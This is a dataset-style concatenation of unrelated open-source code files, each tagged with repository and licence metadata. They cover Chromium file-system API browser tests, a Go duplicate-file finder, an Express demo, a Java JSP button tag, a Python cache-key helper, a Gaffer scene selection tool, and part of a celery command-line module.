ASSERT_FALSE(test_file.empty()); base::FilePath test_directory = test_file.DirName(); base::FilePath parent_directory = test_directory.DirName(); // If a dialog is erroneously displayed, auto cancel it, so that the test // fails. FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( parent_directory, /*skip_dir_confirmation=*/true); { base::ScopedAllowBlockingForTesting allow_blocking; ASSERT_TRUE(base::PathService::OverrideAndCreateIfNeeded( kGraylistedPath, test_directory, false, false)); } ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_directory_cancel", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(test_directory); } // Test that choosing a subdirectory of a path does not require confirmation. IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenDirectorySubdirectoryOfGraylistTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); base::FilePath test_directory = test_file.DirName(); base::FilePath parent_directory = test_directory.DirName(); // If a dialog is erroneously displayed, auto cancel it, so that the test // fails. FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_directory, /*skip_dir_confirmation=*/true); { base::ScopedAllowBlockingForTesting allow_blocking; ASSERT_TRUE(base::PathService::OverrideAndCreateIfNeeded( kGraylistedPath, parent_directory, false, false)); } ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_directory", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(test_file); } #endif // defined(OS_WIN) || defined(OS_POSIX) IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiInvalidChooseEntryTypeTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/invalid_choose_file_type", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(base::FilePath()); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenExistingFileWithWriteTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_existing_with_write", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(test_file); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenWritableExistingFileTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_writable_existing", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(base::FilePath()); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenWritableExistingFileWithWriteTest) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE( RunExtensionTest("api_test/file_system/open_writable_existing_with_write", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(test_file); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenMultipleWritableExistingFilesTest) { std::vector<std::string> names; names.push_back("open_existing1.txt"); names.push_back("open_existing2.txt"); std::vector<base::FilePath> test_files = TempFilePaths(names, true); ASSERT_EQ(2u, test_files.size()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathsForTest picker( test_files); ASSERT_TRUE(RunExtensionTest( "api_test/file_system/open_multiple_writable_existing_with_write", {.launch_as_platform_app = true})) << message_; } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenCancelTest) { FileSystemChooseEntryFunction::SkipPickerAndAlwaysCancelForTest picker; ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_cancel", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(base::FilePath()); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiOpenBackgroundTest) { ASSERT_TRUE(RunExtensionTest("api_test/file_system/open_background", {.launch_as_platform_app = true})) << message_; } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiSaveNewFileTest) { base::FilePath test_file = TempFilePath("save_new.txt", false); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/save_new", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(base::FilePath()); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiSaveExistingFileTest) { base::FilePath test_file = TempFilePath("save_existing.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/save_existing", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(base::FilePath()); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiSaveNewFileWithWriteTest) { base::FilePath test_file = TempFilePath("save_new.txt", false); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/save_new_with_write", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(test_file); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiSaveExistingFileWithWriteTest) { base::FilePath test_file = TempFilePath("save_existing.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/save_existing_with_write", {.launch_as_platform_app = true})) << message_; CheckStoredDirectoryMatches(test_file); } #if defined(OS_MAC) && defined(ADDRESS_SANITIZER) // TODO(http://crbug.com/1230100): Timing-out on Mac ASan. #define MAYBE_FileSystemApiSaveMultipleFilesTest \ DISABLED_FileSystemApiSaveMultipleFilesTest #else #define MAYBE_FileSystemApiSaveMultipleFilesTest \ FileSystemApiSaveMultipleFilesTest #endif IN_PROC_BROWSER_TEST_F(FileSystemApiTest, MAYBE_FileSystemApiSaveMultipleFilesTest) { std::vector<std::string> names; names.push_back("save1.txt"); names.push_back("save2.txt"); std::vector<base::FilePath> test_files = TempFilePaths(names, false); ASSERT_EQ(2u, test_files.size()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathsForTest picker( test_files); ASSERT_TRUE(RunExtensionTest("api_test/file_system/save_multiple", {.launch_as_platform_app = true})) << message_; } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiSaveCancelTest) { FileSystemChooseEntryFunction::SkipPickerAndAlwaysCancelForTest picker; ASSERT_TRUE(RunExtensionTest("api_test/file_system/save_cancel", {.launch_as_platform_app = true})) << message_; } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiSaveBackgroundTest) { ASSERT_TRUE(RunExtensionTest("api_test/file_system/save_background", {.launch_as_platform_app = true})) << message_; } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiGetWritableTest) { base::FilePath test_file = TempFilePath("writable.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/get_writable_file_entry", {.launch_as_platform_app = true})) << message_; } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiGetWritableWithWriteTest) { base::FilePath test_file = TempFilePath("writable.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest( "api_test/file_system/get_writable_file_entry_with_write", {.launch_as_platform_app = true})) << message_; } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiGetWritableRootEntryTest) { base::FilePath test_file = TempFilePath("writable.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/get_writable_root_entry", {.launch_as_platform_app = true})) << message_; } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiIsWritableTest) { base::FilePath test_file = TempFilePath("writable.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/is_writable_file_entry", {.launch_as_platform_app = true})) << message_; } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiIsWritableWithWritePermissionTest) { base::FilePath test_file = TempFilePath("writable.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE( RunExtensionTest("api_test/file_system/is_writable_file_entry_with_write", {.launch_as_platform_app = true})) << message_; } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiRetainEntry) { base::FilePath test_file = TempFilePath("writable.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); ASSERT_TRUE(RunExtensionTest("api_test/file_system/retain_entry", {.launch_as_platform_app = true})) << message_; std::vector<SavedFileEntry> file_entries = apps::SavedFilesService::Get(profile())->GetAllFileEntries( GetSingleLoadedExtension()->id()); ASSERT_EQ(1u, file_entries.size()); EXPECT_EQ(test_file, file_entries[0].path); EXPECT_EQ(1, file_entries[0].sequence_number); EXPECT_FALSE(file_entries[0].is_directory); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiRetainDirectoryEntry) { base::FilePath test_file = TempFilePath("open_existing.txt", true); ASSERT_FALSE(test_file.empty()); base::FilePath test_directory = test_file.DirName(); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_directory); ASSERT_TRUE(RunExtensionTest("api_test/file_system/retain_directory", {.launch_as_platform_app = true})) << message_; std::vector<SavedFileEntry> file_entries = apps::SavedFilesService::Get(profile())->GetAllFileEntries( GetSingleLoadedExtension()->id()); ASSERT_EQ(1u, file_entries.size()); EXPECT_EQ(test_directory, file_entries[0].path); EXPECT_EQ(1, file_entries[0].sequence_number); EXPECT_TRUE(file_entries[0].is_directory); } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiRestoreEntry) { base::FilePath test_file = TempFilePath("writable.txt", true); ASSERT_FALSE(test_file.empty()); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); AppLoadObserver observer( profile(), base::BindRepeating(AddSavedEntry, test_file, false, apps::SavedFilesService::Get(profile()))); ASSERT_TRUE(RunExtensionTest("api_test/file_system/restore_entry", {.launch_as_platform_app = true})) << message_; } IN_PROC_BROWSER_TEST_F(FileSystemApiTest, FileSystemApiRestoreDirectoryEntry) { base::FilePath test_file = TempFilePath("writable.txt", true); ASSERT_FALSE(test_file.empty()); base::FilePath test_directory = test_file.DirName(); FileSystemChooseEntryFunction::SkipPickerAndAlwaysSelectPathForTest picker( test_file); AppLoadObserver observer( profile(), base::BindRepeating(AddSavedEntry, test_directory, true, apps::SavedFilesService::Get(profile()))); ASSERT_TRUE(RunExtensionTest("api_test/file_system/restore_directory", {.launch_as_platform_app = true})) << message_; } #if !BUILDFLAG(IS_CHROMEOS_ASH) IN_PROC_BROWSER_TEST_F(FileSystemApiTest, RequestFileSystem_NotChromeOS) { ASSERT_TRUE(RunExtensionTest( "api_test/file_system/request_file_system_not_chromeos", {.launch_as_platform_app = true}, {.ignore_manifest_warnings = true})) << message_; } #endif } // namespace extensions
nwjs/chromium.src
chrome/browser/extensions/api/file_system/file_system_apitest.cc
C++
bsd-3-clause
29,724
package main import ( "sync" "flag" "os" "io" "bufio" "path/filepath" "crypto/md5" "encoding/hex" ) type File struct { hash string path string } func readBytes(filename string, bytes int) []byte { // open input file fi, err := os.Open(filename) if err != nil { panic(err) } // close fi on exit and check for its returned error defer func() { if err := fi.Close(); err != nil { panic(err) } }() r := bufio.NewReader(fi) buf := make([]byte, bytes) // read a chunk _, err = r.Read(buf) if err != nil && err != io.EOF { panic(err) } return buf } func HashFile(ch chan<- File, wg *sync.WaitGroup) func(string, os.FileInfo, error) error { // do to limits on open files we simply use a channel to block file_c := make(chan int, 128) return func(path string, info os.FileInfo, err error) error { if info.IsDir() { return nil } wg.Add(1) go func() { file_c <- 1 chunk := md5.Sum(readBytes(path, 4096)) <- file_c hash := hex.EncodeToString(chunk[:]) ch <- File{hash: hash, path: path} }() return nil } } func CheckDuplicates(ch <-chan File, wg *sync.WaitGroup) { files := make(map[string]string) for { f := <- ch original, duplicate := files[f.hash] if duplicate { println(f.path + " == " + original) } else { files[f.hash] = f.path } wg.Done() } } func main() { ch := make(chan File) var wg sync.WaitGroup var dir string flag.StringVar(&dir, "dir", ".", "Which directory to parse for duplicates") flag.Parse() filepath.Walk(dir, HashFile(ch, &wg)) go CheckDuplicates(ch, &wg) wg.Wait() }
hildensia/deduplicate
deduplicate.go
GO
bsd-3-clause
1,691
var express = require('express') var app = express() app.get('/', function (req, res) { res.send('Noumenaut') }) app.listen(3000)
talapus/Node
Demos/demoExpress.js
JavaScript
bsd-3-clause
134
package org.codehaus.waffle.taglib.form; import javax.servlet.jsp.JspException; import java.io.IOException; import java.io.Writer; /** * A button element for html files. Accepts a value which will be i18n. * * @author Guilherme Silveira * @author Nico Steppat */ public class ButtonTag extends FormElement { private String value; public ButtonTag() { clear(); } private void clear() { value = null; } @Override public IterationResult start(Writer out) throws JspException, IOException { out.write("<input type=\""); out.write(getButtonType()); out.write("\""); attributes.outputTo(out); out.write(" value=\""); out.write(getI18NMessage(value)); out.write("\"/>"); clear(); return IterationResult.BODY; } /** * Returns this button type. * * @return the button type */ protected String getButtonType() { return "button"; } @Override protected String getDefaultLabel() { return ""; } public void setValue(String value) { this.value = value; } }
codehaus/waffle
waffle-taglib/src/main/java/org/codehaus/waffle/taglib/form/ButtonTag.java
Java
bsd-3-clause
1,154
import md5 def _generate_verbose_key(prefix, klass, properties): return "%s:%s.%s(%s)" % (prefix, klass.__module__, klass.__name__, properties) def _generate_terse_key(prefix, klass, properties): compressed_hash = md5.new("%s.%s(%s)" % (klass.__module__, klass.__name__, properties)).hexdigest() return "%s:%s(%s)" % (prefix, klass.__name__, compressed_hash) class KeyValueHelper(object): """Internal helper object that can generate unique keys for a store that stores objects in key/value pairs. Given a class/instance and a property dictionary, this helper creates a unique lookup key (e.g. 'mymodule.MyClass(foo=abc;bar=123)')""" def __init__(self, verbose=False, polymorphic=False, prefix="stockpyle"): self.__stockpyle_bases_lookup = {} self.__polymorphic = polymorphic self.__prefix = prefix # TODO: create cython callbacks to speed up this operation if verbose: self.__generate_key_cb = _generate_verbose_key else: self.__generate_key_cb = _generate_terse_key def generate_lookup_key(self, target_klass, property_dict): return self.__generate_key_cb(self.__prefix, target_klass, sorted([kv for kv in property_dict.iteritems()])) def generate_all_lookup_keys(self, obj): lookup_keys = [] klasses = [obj.__class__] if self.__polymorphic: klasses += self.__get_stockpyle_base_classes(obj.__class__) for klass in klasses: for stockpyle_key in klass.__stockpyle_keys__: if isinstance(stockpyle_key, basestring): property_list = [(stockpyle_key, getattr(obj, stockpyle_key))] else: property_list = [(pn, getattr(obj, pn)) for pn in sorted(stockpyle_key)] lookup_keys.append(self.__generate_key_cb(self.__prefix, klass, property_list)) return lookup_keys def __get_stockpyle_base_classes(self, klass): """returns an ordered list of stockpyle-managed base classes by recursing up the inheritance tree of the given class and collecting any base classes that have __stockpyle_keys__ defined""" if klass not in self.__stockpyle_bases_lookup: # we haven't calculated the stockpyle bases for this class yet # calculate them bases = [] def collect(current_klass): for b in current_klass.__bases__: if hasattr(b, "__stockpyle_keys__"): bases.append(b) collect(b) collect(klass) # and then save for for faster lookup later self.__stockpyle_bases_lookup[klass] = bases # return those bases return self.__stockpyle_bases_lookup[klass] # if __name__ == "__main__": # # # performance testing # import time # import cProfile # # import psyco # # psyco.full() # # # class Foo(object): # __stockpyle_keys__ = [("foo", "bar")] # foo = 1 # bar = "x" # # # kvh_terse = KeyValueHelper() # kvh_verbose = KeyValueHelper(verbose=True) # # def perform_verbose_keygen(): # start = time.time() # for i in range(0, 50000): # kvh_verbose.generate_lookup_key(Foo, {"foo": 1, "bar": "x"}) # delta = time.time() - start # return delta # # def perform_terse_keygen(): # start = time.time() # for i in range(0, 50000): # kvh_terse.generate_lookup_key(Foo, {"foo": 1, "bar": "x"}) # delta = time.time() - start # return delta # # def perform_verbose_objkeygen(): # start = time.time() # obj = Foo() # for i in range(0, 50000): # kvh_verbose.generate_all_lookup_keys(obj) # delta = time.time() - start # return delta # # def perform_terse_objkeygen(): # start = time.time() # obj = Foo() # for i in range(0, 50000): # kvh_terse.generate_all_lookup_keys(obj) # delta = time.time() - start # return delta # # # print ">>> verbose keygen" # print perform_verbose_keygen() # print perform_verbose_keygen() # print perform_verbose_keygen() # print ">>> terse keygen" # print perform_terse_keygen() # print perform_terse_keygen() # print perform_terse_keygen() # print ">>> verbose objkeygen" # print perform_verbose_objkeygen() # print perform_verbose_objkeygen() # print perform_verbose_objkeygen() # print ">>> terse objkeygen" # print perform_terse_objkeygen() # print perform_terse_objkeygen() # print perform_terse_objkeygen() # print # print # print ">>> verbose keygen" # cProfile.run("perform_verbose_keygen()") # print ">>> terse keygen" # cProfile.run("perform_terse_keygen()") # print ">>> verbose objkeygen" # cProfile.run("perform_verbose_objkeygen()") # print ">>> terse objkeygen" # cProfile.run("perform_terse_objkeygen()") #
mjpizz/stockpyle
stockpyle/_helpers.py
Python
bsd-3-clause
5,201
////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2014, Image Engine Design Inc. All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above // copyright notice, this list of conditions and the following // disclaimer. // // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided with // the distribution. // // * Neither the name of John Haddon nor the names of // any other contributors to this software may be used to endorse or // promote products derived from this software without specific prior // written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS // IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, // THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR // PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, // EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, // PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR // PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING // NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // ////////////////////////////////////////////////////////////////////////// #include "boost/bind.hpp" #include "GafferUI/Style.h" #include "GafferUI/Pointer.h" #include "GafferScene/ScenePlug.h" #include "GafferSceneUI/SelectionTool.h" #include "GafferSceneUI/SceneView.h" using namespace Imath; using namespace IECore; using namespace Gaffer; using namespace GafferUI; using namespace GafferScene; using namespace GafferSceneUI; ////////////////////////////////////////////////////////////////////////// // DragOverlay implementation ////////////////////////////////////////////////////////////////////////// class SelectionTool::DragOverlay : public GafferUI::Gadget { public : DragOverlay() : Gadget() { } virtual Imath::Box3f bound() const { // we draw in raster space so don't have a sensible bound return Box3f(); } void setStartPosition( const V3f &p ) { if( m_startPosition == p ) { return; } m_startPosition = p; requestRender(); } const V3f &getStartPosition() const { return m_startPosition; } void setEndPosition( const V3f &p ) { if( m_endPosition == p ) { return; } m_endPosition = p; requestRender(); } const V3f &getEndPosition() const { return m_endPosition; } protected : virtual void doRender( const Style *style ) const { if( IECoreGL::Selector::currentSelector() ) { return; } const ViewportGadget *viewportGadget = ancestor<ViewportGadget>(); ViewportGadget::RasterScope rasterScope( viewportGadget ); Box2f b; b.extendBy( viewportGadget->gadgetToRasterSpace( m_startPosition, this ) ); b.extendBy( viewportGadget->gadgetToRasterSpace( m_endPosition, this ) ); style->renderSelectionBox( b ); } private : Imath::V3f m_startPosition; Imath::V3f m_endPosition; }; ////////////////////////////////////////////////////////////////////////// // SelectionTool implementation ////////////////////////////////////////////////////////////////////////// IE_CORE_DEFINERUNTIMETYPED( SelectionTool ); SelectionTool::ToolDescription<SelectionTool, SceneView> SelectionTool::g_toolDescription; SelectionTool::SelectionTool( SceneView *view, const std::string &name ) : Tool( view, name ), m_dragOverlay( new DragOverlay() ) { SceneGadget *sg = sceneGadget(); sg->buttonPressSignal().connect( boost::bind( &SelectionTool::buttonPress, this, ::_2 ) ); sg->dragBeginSignal().connect( boost::bind( &SelectionTool::dragBegin, this, ::_1, ::_2 ) ); sg->dragEnterSignal().connect( boost::bind( &SelectionTool::dragEnter, this, ::_1, ::_2 ) ); sg->dragMoveSignal().connect( boost::bind( &SelectionTool::dragMove, this, ::_2 ) ); sg->dragEndSignal().connect( boost::bind( &SelectionTool::dragEnd, this, ::_2 ) ); m_dragOverlay->setVisible( false ); view->viewportGadget()->setChild( "__selectionOverlay", m_dragOverlay ); } SelectionTool::~SelectionTool() { } SceneGadget *SelectionTool::sceneGadget() { return runTimeCast<SceneGadget>( view()->viewportGadget()->getPrimaryChild() ); } bool SelectionTool::buttonPress( const GafferUI::ButtonEvent &event ) { if( event.buttons != ButtonEvent::Left ) { return false; } if( !activePlug()->getValue() ) { return false; } SceneGadget *sg = sceneGadget(); ScenePlug::ScenePath objectUnderMouse; sg->objectAt( event.line, objectUnderMouse ); PathMatcher &selection = const_cast<GafferScene::PathMatcherData *>( sg->getSelection() )->writable(); const bool shiftHeld = event.modifiers && ButtonEvent::Shift; bool selectionChanged = false; if( !objectUnderMouse.size() ) { // background click - clear the selection unless // shift is held in which case we might be starting // a drag to add more. if( !shiftHeld ) { selection.clear(); selectionChanged = true; } } else { const bool objectSelectedAlready = selection.match( objectUnderMouse ) & Filter::ExactMatch; if( objectSelectedAlready ) { if( shiftHeld ) { selection.removePath( objectUnderMouse ); selectionChanged = true; } } else { if( !shiftHeld ) { selection.clear(); } selection.addPath( objectUnderMouse ); selectionChanged = true; } } if( selectionChanged ) { transferSelectionToContext(); } return true; } IECore::RunTimeTypedPtr SelectionTool::dragBegin( GafferUI::Gadget *gadget, const GafferUI::DragDropEvent &event ) { SceneGadget *sg = sceneGadget(); ScenePlug::ScenePath objectUnderMouse; if( !sg->objectAt( event.line, objectUnderMouse ) ) { // drag to select m_dragOverlay->setStartPosition( event.line.p1 ); m_dragOverlay->setEndPosition( event.line.p1 ); m_dragOverlay->setVisible( true ); return gadget; } else { const PathMatcher &selection = sg->getSelection()->readable(); if( selection.match( objectUnderMouse ) & Filter::ExactMatch ) { // drag the selection somewhere IECore::StringVectorDataPtr dragData = new IECore::StringVectorData(); selection.paths( dragData->writable() ); Pointer::setCurrent( "objects" ); return dragData; } } return NULL; } bool SelectionTool::dragEnter( const GafferUI::Gadget *gadget, const GafferUI::DragDropEvent &event ) { return event.sourceGadget == gadget && event.data == gadget; } bool SelectionTool::dragMove( const GafferUI::DragDropEvent &event ) { m_dragOverlay->setEndPosition( event.line.p1 ); return true; } bool SelectionTool::dragEnd( const GafferUI::DragDropEvent &event ) { Pointer::setCurrent( "" ); if( !m_dragOverlay->getVisible() ) { return false; } m_dragOverlay->setVisible( false ); SceneGadget *sg = sceneGadget(); PathMatcher &selection = const_cast<GafferScene::PathMatcherData *>( sg->getSelection() )->writable(); if( sg->objectsAt( m_dragOverlay->getStartPosition(), m_dragOverlay->getEndPosition(), selection ) ) { transferSelectionToContext(); } return true; } void SelectionTool::transferSelectionToContext() { StringVectorDataPtr s = new StringVectorData(); sceneGadget()->getSelection()->readable().paths( s->writable() ); view()->getContext()->set( "ui:scene:selectedPaths", s.get() ); }
chippey/gaffer
src/GafferSceneUI/SelectionTool.cpp
C++
bsd-3-clause
7,883
from __future__ import with_statement import sys from optparse import OptionParser, make_option as Option from pprint import pformat from textwrap import wrap from anyjson import deserialize from celery import __version__ from celery.app import app_or_default, current_app from celery.bin.base import Command as CeleryCommand from celery.utils import term commands = {} class Error(Exception): pass def command(fun, name=None): commands[name or fun.__name__] = fun return fun class Command(object): help = "" args = "" version = __version__ option_list = CeleryCommand.preload_options + ( Option("--quiet", "-q", action="store_true", dest="quiet", default=False), Option("--no-color", "-C", dest="no_color", action="store_true", help="Don't colorize output."), ) def __init__(self, app=None, no_color=False): self.app = app_or_default(app) self.colored = term.colored(enabled=not no_color) def __call__(self, *args, **kwargs): try: self.run(*args, **kwargs) except Error, exc: self.error(self.colored.red("Error: %s" % exc)) def error(self, s): return self.out(s, fh=sys.stderr) def out(self, s, fh=sys.stdout): s = str(s) if not s.endswith("\n"): s += "\n" sys.stdout.write(s) def create_parser(self, prog_name, command): return OptionParser(prog=prog_name, usage=self.usage(command), version=self.version, option_list=self.option_list) def run_from_argv(self, prog_name, argv): self.prog_name = prog_name self.command = argv[0] self.arglist = argv[1:] self.parser = self.create_parser(self.prog_name, self.command) options, args = self.parser.parse_args(self.arglist) self.colored = term.colored(enabled=not options.no_color) self(*args, **options.__dict__) def run(self, *args, **kwargs): raise NotImplementedError() def usage(self, command): return "%%prog %s [options] %s" % (command, self.args) def prettify_list(self, n): c = self.colored if not n: return "- empty -" return "\n".join(str(c.reset(c.white("*"), " %s" % (item, ))) for item in n) def prettify_dict_ok_error(self, n): c = self.colored if "ok" in n: return (c.green("OK"), indent(self.prettify(n["ok"])[1])) elif "error" in n: return (c.red("ERROR"), indent(self.prettify(n["error"])[1])) def prettify(self, n): OK = str(self.colored.green("OK")) if isinstance(n, list): return OK, self.prettify_list(n) if isinstance(n, dict): if "ok" in n or "error" in n: return self.prettify_dict_ok_error(n) if isinstance(n, basestring): return OK, unicode(n) return OK, pformat(n) class list_(Command): args = "<bindings>" def list_bindings(self, channel): fmt = lambda q, e, r: self.out("%s %s %s" % (q.ljust(28), e.ljust(28), r)) fmt("Queue", "Exchange", "Routing Key") fmt("-" * 16, "-" * 16, "-" * 16) for binding in channel.list_bindings(): fmt(*binding) def run(self, what, *_, **kw): topics = {"bindings": self.list_bindings} if what not in topics: raise ValueError("%r not in %r" % (what, topics.keys())) with self.app.broker_connection() as conn: self.app.amqp.get_task_consumer(conn).declare() with conn.channel() as channel: return topics[what](channel) list_ = command(list_, "list") class apply(Command): args = "<task_name>" option_list = Command.option_list + ( Option("--args", "-a", dest="args"), Option("--kwargs", "-k", dest="kwargs"), Option("--eta", dest="eta"), Option("--countdown", dest="countdown", type="int"), Option("--expires", dest="expires"), Option("--serializer", dest="serializer", default="json"), Option("--queue", dest="queue"), Option("--exchange", dest="exchange"), Option("--routing-key", dest="routing_key"), ) def run(self, name, *_, **kw): # Positional args. args = kw.get("args") or () if isinstance(args, basestring): args = deserialize(args) # Keyword args. kwargs = kw.get("kwargs") or {} if isinstance(kwargs, basestring): kwargs = deserialize(kwargs) # Expires can be int. expires = kw.get("expires") or None try: expires = int(expires) except (TypeError, ValueError): pass res = self.app.send_task(name, args=args, kwargs=kwargs, countdown=kw.get("countdown"), serializer=kw.get("serializer"), queue=kw.get("queue"), exchange=kw.get("exchange"), routing_key=kw.get("routing_key"), eta=kw.get("eta"), expires=expires) self.out(res.task_id) apply = command(apply) def pluralize(n, text, suffix='s'): if n > 1: return text + suffix return text class purge(Command): def run(self, *args, **kwargs): app = current_app() queues = len(app.amqp.queues.keys()) messages_removed = app.control.discard_all() if messages_removed: self.out("Purged %s %s from %s known task %s." % ( messages_removed, pluralize(messages_removed, "message"), queues, pluralize(queues, "queue"))) else: self.out("No messages purged from %s known %s" % ( queues, pluralize(queues, "queue"))) purge = command(purge) class result(Command): args = "<task_id>" option_list = Command.option_list + ( Option("--task", "-t", dest="task"), ) def run(self, task_id, *args, **kwargs): from celery import registry result_cls = self.app.AsyncResult task = kwargs.get("task") if task: result_cls = registry.tasks[task].AsyncResult result = result_cls(task_id) self.out(self.prettify(result.get())[1]) result = command(result) class inspect(Command): choices = {"active": 1.0, "active_queues": 1.0, "scheduled": 1.0, "reserved": 1.0, "stats": 1.0, "revoked": 1.0, "registered_tasks": 1.0, "enable_events": 1.0, "disable_events": 1.0, "ping": 0.2, "add_consumer": 1.0, "cancel_consumer": 1.0} option_list = Command.option_list + ( Option("--timeout", "-t", type="float", dest="timeout", default=None, help="Timeout in seconds (float) waiting for reply"), Option("--destination", "-d", dest="destination", help="Comma separated list of destination node names.")) def usage(self, command): return "%%prog %s [options] %s [%s]" % ( command, self.args, "|".join(self.choices.keys())) def run(self, *args, **kwargs): self.quiet = kwargs.get("quiet", False) if not args: raise Error("Missing inspect command. See --help") command = args[0] if command == "help": raise Error("Did you mean 'inspect --help'?") if command not in self.choices: raise Error("Unknown inspect command: %s" % command) destination = kwargs.get("destination") timeout = kwargs.get("timeout") or self.choices[command] if destination and isinstance(destination, basestring): destination = map(str.strip, destination.split(",")) def on_reply(body): c = self.colored node = body.keys()[0] reply = body[node] status, preply = self.prettify(reply) 